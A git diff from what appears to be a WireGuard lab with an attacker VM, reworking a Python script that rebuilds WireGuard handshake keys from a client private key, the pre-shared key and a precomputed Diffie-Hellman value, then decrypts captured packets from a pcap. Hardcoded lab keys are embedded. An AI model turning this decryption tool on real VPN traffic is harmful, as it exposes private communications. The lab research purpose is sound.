diff --git a/Vagrantfile b/Vagrantfile index 144bb4ff186db3fd3e3dd8276f545555766cef2a..bda0f17dea606f828c0591c18750971c13e55392 100644 --- a/Vagrantfile +++ b/Vagrantfile @@ -40,7 +40,7 @@ Vagrant.configure("2") do |config| node.vm.synced_folder "./wireguard-client2", "/etc/wireguard" end if vm_config[:name] == "wireguard-server" - node.vm.synced_folder "./wireguard-server", "/srv/wireguard-server" + node.vm.synced_folder "./wireguard-server", "/etc/wireguard" end if vm_config[:name] == "wireguard-attacker" node.vm.synced_folder "./wireguard-attacker", "/srv/wireguard-attacker" diff --git a/wireguard-attacker/precomutation b/wireguard-attacker/precomutation index 572c91dd83d15927205767869f2c9bc8ce41b261..30cd323c34ac5cdfdb973f66e39c2e241be4c19f 100755 --- a/wireguard-attacker/precomutation +++ b/wireguard-attacker/precomutation @@ -1,13 +1,17 @@ #!/usr/bin/env python +import argparse import struct from base64 import b64decode -from binascii import hexlify, unhexlify +from binascii import unhexlify from scapy.all import sniff, UDP from hashlib import blake2s from hmac import HMAC from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305 from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey, X25519PublicKey +from scapy.utils import rdpcap +from scapy.layers.inet import IP +from scapy.contrib import wireguard CONSTRUCTION = "Noise_IKpsk2_25519_ChaChaPoly_BLAKE2s".encode('utf-8') @@ -18,7 +22,7 @@ CLIENT_1_PRIVKEY = X25519PrivateKey.from_private_bytes(b64decode('4K7psRloW4i1aH CLIENT_1_PUBKEY = X25519PublicKey.from_public_bytes(b64decode('85Ey6fLDcFadWd+MRPHAuBEAHJ6MIUbl2jNsCZJXmRI=')) # CLIENT_2_PRIVKEY = X25519PrivateKey.from_private_bytes(b64decode('iIRaIDb42qAGxij8Ig+XWyP0csRpIShWD36rTS+/Xn8=')) CLIENT_2_PUBKEY = X25519PublicKey.from_public_bytes(b64decode('gtPyxcaZzC7LkLq/QGzvVLEHaIOfdJ6nb79wx8C7YT8=')) -SERVER_PUBKEY = X25519PublicKey.from_public_bytes(b64decode('+O7mAJK0m7Ts62WuP1Et1/RanAq5yFPAgDxuyR9TtD4=')) +SERVER_PUBKEY = X25519PublicKey.from_public_bytes(b64decode('+O7mAJK0m7Ts62WuP1Et1/RanAq5yFPAgDxuyR9TtD4=')) PSK = b64decode('XqxvhqBMhDyQKiMZfRHc73t/ra++yQU47hnXwl5KaOI=') @@ -63,7 +67,7 @@ def listen(): def kdf(n, key, in_put): - print(f"KDF{n} computing with key={hexlify(key)} and in_put={hexlify(in_put)}") + # print(f"KDF{n} computing with key={hexlify(key)} and in_put={hexlify(in_put)}") t0 = hmac(key, in_put) # print(hexlify(t0)) t1 = hmac(t0, b'\x01') @@ -95,24 +99,24 @@ def compute_dh(priv, pub): def handshake_cli(e_priv_i, e_pub_r, precomputed): # Hashings Ci = hash(CONSTRUCTION) - print("Ci : ", hexlify(Ci)) + # print("Ci : ", hexlify(Ci)) Hi = hash(Ci + IDENTIFIER) - print("Hi : ", hexlify(Hi)) + # print("Hi : ", hexlify(Hi)) Hi = hash(Hi + SERVER_PUBKEY.public_bytes_raw()) - print("SERVER_PUBKEY : ", SERVER_PUBKEY.public_bytes_raw().hex()) - print("Hi : ", hexlify(Hi)) + # print("SERVER_PUBKEY : ", SERVER_PUBKEY.public_bytes_raw().hex()) + # print("Hi : ", hexlify(Hi)) ephemeral_privkey = X25519PrivateKey.from_private_bytes(bytes.fromhex(e_priv_i)) ephemeral_pubkey = ephemeral_privkey.public_key() - print("Epriv : " + ephemeral_privkey.private_bytes_raw().hex()) - print("Epub : " + ephemeral_pubkey.public_bytes_raw().hex()) + # print("Epriv : " + ephemeral_privkey.private_bytes_raw().hex()) + # print("Epub : " + ephemeral_pubkey.public_bytes_raw().hex()) # Key derivation function (KDF) for ephemeral public key and Ci Ci = kdf(1, Ci, bytes(ephemeral_pubkey.public_bytes_raw())) - print("Ci : ", hexlify(Ci)) + # print("Ci : ", hexlify(Ci)) # Hashing # Hi = hash(Hi + bytes(ephemeral_pubkey.public_bytes_raw())) @@ -120,64 +124,139 @@ def handshake_cli(e_priv_i, e_pub_r, precomputed): # DH Computation en X25519 result_dh = compute_dh(ephemeral_privkey, SERVER_PUBKEY) - print("result_dh : ", hexlify(result_dh)) + # print("result_dh : ", hexlify(result_dh)) # Key derivation function (KDF) for Diffie Helmann result and Ci (Ci, k) = kdf(2, Ci, bytes(result_dh)) - print("Ci : ", hexlify(Ci)) - print("k : ", hexlify(k)) - print("len(k) : ", len(k)) + # print("Ci : ", hexlify(Ci)) + # print("k : ", hexlify(k)) + # print("len(k) : ", len(k)) # KDF with precomputed DH (Ci, k) = kdf(2, Ci, unhexlify(precomputed)) - print("Ci : ", hexlify(Ci)) - print("k : ", hexlify(k)) + # print("Ci : ", hexlify(Ci)) + # print("k : ", hexlify(k)) ## Second message consumption # KDF with server ephemeral Ci = kdf(1, Ci, unhexlify(e_pub_r)) - print("Ci : ", hexlify(Ci)) + # print("Ci : ", hexlify(Ci)) # KDF with ephe,eral DH server_ephemeral_pubkey = X25519PublicKey.from_public_bytes(bytes.fromhex(e_pub_r)) result_dh = compute_dh(ephemeral_privkey, server_ephemeral_pubkey) Ci = kdf(1, Ci, result_dh) - print("Ci : ", hexlify(Ci)) + # print("Ci : ", hexlify(Ci)) # KDF with static DH result_dh = compute_dh(CLIENT_1_PRIVKEY, server_ephemeral_pubkey) Ci = kdf(1, Ci, result_dh) - print("Ci : ", hexlify(Ci)) + # print("Ci : ", hexlify(Ci)) # KDF with PSK (Ci, t, k) = kdf(3, Ci, PSK) - print("Ci : ", hexlify(Ci)) - print("k : ", hexlify(k)) + # print("Ci : ", hexlify(Ci)) + # print("k : ", hexlify(k)) return Ci def begin_session(Ci): # Key derivation - tkey_send_i, tkey_recv_i = kdf(2, Ci, b"\x55") + tkey_send_i, tkey_recv_i = kdf(2, Ci, b"") n_send_i = 0 - - print("tkey_send_i : ", hexlify(tkey_send_i)) - print("tkey_recv_i : ", hexlify(tkey_recv_i)) return tkey_send_i, tkey_recv_i, n_send_i -def decrypt_msg(k, nonce, ciphertext, aad): +def decrypt_msg(k, packet): + # print(packet) + print("key:", k.hex()) chacha = ChaCha20Poly1305(k) + nonce = packet[wireguard.WireguardTransport].counter padded_nonce = b"\x00" * 8 + struct.pack(">I", nonce) - plaintext = chacha.encrypt(padded_nonce, ciphertext, aad) - print(hexlify(plaintext)) - - -Ci = handshake_cli( - e_priv_i="20841af4d7baef5d89f349f1b8941ecb6d83078271db34d54842cc235431de61", - e_pub_r="4392fa7c29c9c4cbf05197a299aed58e6e87626c97c3ffd698bdb89ce0e79432", - precomputed="87c897a180509924565936a36eaff8a3ed76b7d4ab819b3050da353ca1d59d1a", -) -begin_session(Ci) -# decrypt_msg(None, 5, b"\x00", None) + print("nonce: ", padded_nonce.hex()) + ciphertext = packet[wireguard.WireguardTransport].encrypted_encapsulated_packet + print("ct pkt: ", ciphertext.hex()) + # aad = bytes.fromhex("38cb81bdf52a4090e50e3310c9ad00e25d238cf6c0f14cc58aff2da4022e4149") + # ct = chacha.encrypt(padded_nonce, bytes.fromhex("4000000065f3324432000000"), None) + # print("ct max: ", ct.hex()) + return chacha.decrypt(padded_nonce, ciphertext, None) + # print("plaintext: ", plaintext.hex()) + + +def decode_pcap(filename, pn): + # rdpcap comes from scapy and loads in our pcap file + packets = rdpcap(filename) + ret_packets = [] + + # Let's iterate through every packet to find server ephemeral_pubkey + for i, packet in enumerate(packets): + if packet.haslayer(UDP) and packet.haslayer(wireguard.WireguardResponse): + server_ephemeral_pubkey = packet[wireguard.WireguardResponse].unencrypted_ephemeral + break + + # Let's iterate through every packet to selects packets to attempt decryption + if pn: + packet = packets[pn-1] + if packet.haslayer(UDP) and packet.haslayer(wireguard.WireguardTransport): + ret_packets += [packet] + else: + for i, packet in enumerate(packets): + if packet.haslayer(UDP) and packet.haslayer(wireguard.WireguardTransport): + ret_packets += [packet] + + return server_ephemeral_pubkey, ret_packets + + +def select_tkey(packet, client_ip, tk_send, tk_recv): + return tk_send if packet[IP].src == client_ip else tk_recv + + +def parse_arguments(): + parser = argparse.ArgumentParser(description="Analyze PCAP file for client IP address.") + parser.add_argument( + "pcap_file", + type=str, + help="Path to the PCAP file to analyze.", + ) + parser.add_argument( + "client_ip", + type=str, + help="IP address of the client to filter traffic for.", + ) + parser.add_argument( + "--pn", + type=int, + default=None, + help="ID of the packet to attempt decryption in the PCAP trace starting from 1.", + ) + return parser.parse_args() + + +def main(): + args = parse_arguments() + + print("[+] Retrieving ephemeral keys from handshake") + server_ephemeral_pubkey, packets_to_test = decode_pcap(args.pcap_file, args.pn) + print("server_ephemeral_pubkey: ", server_ephemeral_pubkey.hex()) + print("[+] Recomputing transport keys") + Ci = handshake_cli( + e_priv_i="802bc1689e24773a48f03cb254f91bb7118e0f2a51175ce8e4c8aad0db86455d", + precomputed="87c897a180509924565936a36eaff8a3ed76b7d4ab819b3050da353ca1d59d1a", + e_pub_r=server_ephemeral_pubkey.hex(), + ) + tk_send, tk_recv, _ = begin_session(Ci) + print("tkey_send_i: ", tk_send.hex()) + print("tkey_recv_i: ", tk_recv.hex()) + + print("[+] Iterating over packets to decrypt") + for packet in packets_to_test: + print("===========") + print(packet) + k = select_tkey(packet, args.client_ip, tk_send, tk_recv) + plaintext = decrypt_msg(k, packet) + print("plaintext: ", plaintext.hex()) + + +if __name__ == "__main__": + main()